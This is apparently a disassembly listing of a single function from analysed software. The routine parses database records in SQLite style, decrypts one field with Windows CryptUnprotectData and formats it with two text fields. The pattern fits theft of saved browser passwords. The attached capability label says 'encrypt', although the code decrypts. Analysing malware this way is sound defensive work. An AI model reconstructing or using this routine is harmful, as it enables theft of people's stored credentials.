Function at 0x40e511
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x86c
mov esi, dword [esp + 0x884]
lea edx, [esp + 0x44]
mov dword [esp + 0x48], 0
lea ebx, [esp + 0x60]
mov dword [esp + 4], edx
mov dword [esp + 0x30], edx
mov dword [esp], esi
call fcn.0040e4c0
dec eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x460]
mov edi, dword [esp + 0x44]
mov dword [esp], eax
call fcn.004129e4
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], ebx
call fcn.004129e4
cmp dword [esp + 0x2c], 0xc34ff
mov dword [esp + 0x4c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x28], 0
ja 0x40e794
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
add edi, esi
mov dword [esp + 0x30], ebx
xor esi, esi
lea ebp, [edi + eax]
mov dword [esp + 0x34], edx
cmp esi, dword [esp + 0x2c]
jg 0x40e794
mov eax, dword [esp + 0x34]
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.0040e4c0
add edi, dword [esp + 0x44]
cmp eax, 0xb
mov ebx, eax
jle 0x40e789
test al, 1
jne 0x40e745
sub ebx, 0xc
sar ebx, 1
cmp esi, 5
jne 0x40e745
lea eax, [esp + 0x58]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 0x18], eax
lea eax, [esp + 0x50]
mov dword [esp + 4], 0
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebp
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x40e70a
mov eax, dword [esp + 0x58]
test eax, eax
je 0x40e6fd
cmp byte [esp + 0x460], 0
je 0x40e6fd
cmp byte [esp + 0x60], 0
je 0x40e6fd
mov edx, dword [esp + 0x5c]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x3c], ecx
mov byte [edx + eax], 0
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], str._c_s_a_s_a_s_b_b_b_b
mov dword [esp], ecx
mov dword [esp + 0x14], eax
lea eax, [esp + 0x460]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x880]
mov dword [esp + 8], eax
call fcn.00412755
cmp eax, 0xffffffff
je 0x40e6fd
mov dword [esp + 0xc], eax
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x10], 1
mov dword [esp + 4], eax
lea eax, [esp + 0x48]
mov dword [esp + 8], ecx
mov dword [esp], eax
call fcn.00412abf
mov edx, dword [esp + 0x38]
add dword [esp + 0x28], edx
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
push eax
lea eax, [esp + 0x460]
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004129e4
mov eax, dword [esp + 0x30]
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004129e4
cmp ebx, 0xc
jle 0x40e789
test bl, 1
je 0x40e789
sub ebx, 0xd
sar ebx, 1
cmp esi, 1
je 0x40e772
cmp esi, 3
jne 0x40e789
lea eax, [ebx + 1]
mov dword [esp + 4], ebp
mov dword [esp + 8], eax
lea eax, [esp + 0x460]
jmp 0x40e781
lea eax, [ebx + 1]
mov dword [esp + 4], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call fcn.00412548
add esi, dword [esp + 0x44]
add ebp, ebx
jmp 0x40e5c7
mov eax, dword [esp + 0x888]
mov ecx, dword [esp + 0x28]
mov dword [eax], ecx
mov eax, dword [esp + 0x48]
add esp, 0x86c
pop ebx
pop esi
pop edi
pop ebp
ret